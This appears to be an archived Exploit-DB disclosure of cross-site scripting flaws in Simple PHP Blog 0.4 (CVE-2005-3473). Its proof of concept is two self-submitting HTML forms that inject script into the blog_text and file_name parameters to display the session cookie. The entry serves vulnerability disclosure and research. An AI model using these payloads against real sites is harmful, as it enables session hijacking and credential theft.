Simple PHP Blog 0.4 preview_static_cgi.php Multiple Parameter XSS

2005-11-02T00:00:00
ID EDB-ID:26462
Type exploitdb
Reporter enji@infosys.tuwien.ac.at
Modified 2005-11-02T00:00:00

Description

Simple PHP Blog 0.4 preview_static_cgi.php Multiple Parameter XSS. CVE-2005-3473. Webapps exploit for cgi platform

                                        
                                            source: http://www.securityfocus.com/bid/15283/info
 
Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>